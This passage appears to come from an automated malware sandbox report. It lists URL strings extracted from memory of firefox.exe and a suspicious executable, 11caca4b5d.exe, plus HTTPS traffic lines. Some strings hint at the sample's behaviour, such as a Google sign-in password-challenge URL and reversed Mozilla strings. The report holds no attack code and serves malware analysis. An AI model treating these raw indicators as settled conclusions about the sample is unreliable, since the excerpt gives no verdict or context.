Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.4510726727.00000253A5DE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: 11caca4b5d.exe, 0000000A.00000003.3957620595.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096798586.0000000005C91000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4099811582.0000000005C95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001A.00000002.4510726727.00000253A5DB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4493337091.00000253A2C3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/resource://activity-stream/common/Actions.sys.mjs
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 11caca4b5d.exe, 0000000A.00000003.3957620595.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096798586.0000000005C91000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4099811582.0000000005C95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001A.00000002.4510726727.00000253A5DE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510726727.00000253A5D11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4117136152.0000000DB3004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036390962.00000253A223C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036390962.00000253A223C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4493337091.00000253A2C3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220952052.000002539DEF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchget
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000002.4384155043.000002539F43D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4131237125.0000009DF797C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 11caca4b5d.exe, 0000000A.00000003.3956715198.0000000005B67000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/urlbar-result-menu-dismiss-firefox-suggestresource:///modules/Ur
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: 11caca4b5d.exe, 0000000A.00000003.3956715198.0000000005B67000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001A.00000002.4510726727.00000253A5DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E7AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220952052.000002539DEC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4117136152.0000000DB3004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4117136152.0000000DB3004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.4510726727.00000253A5DE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E63E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A445F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4504725403.00000253A489E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4495762055.00000253A2FB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.4511797530.00000253A6296000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4503705030.00000253A46D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4495762055.00000253A2FB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001A.00000002.4120482156.0000009DEF7D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.go
Source: firefox.exe, 0000001A.00000002.4139557254.00000253922E0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4140184782.000002539256B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4139557254.00000253922E9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4504725403.00000253A489E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4140184782.000002539255E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A4478000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4138989097.0000025392270000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4508059548.00000253A5882000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A023F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4505575611.00000253A494E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4140184782.0000025392503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4501614381.00000253A4303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4140184782.0000025392511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4130506683.0000015865384000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4121956360.0000015864E9A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4121227951.000001E59D0DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4130603093.000001E59D454000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4121227951.000001E59D0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.4012056861.000001D168250000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.4028526550.0000028B30DD0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4139557254.00000253922E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.4142730954.0000025394266000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4142730954.0000025394244000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4130506683.0000015865384000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4121956360.0000015864E90000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4130603093.000001E59D454000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4121227951.000001E59D0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.4120482156.0000009DEF7D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdPPBd
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdPrefs
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUpdateManager:_loadX
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account_getBoundsWithoutFlushingDOM_VK_WIN_OEM_FJ_MASSHOUshowRemoteTabsFromFxaMe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
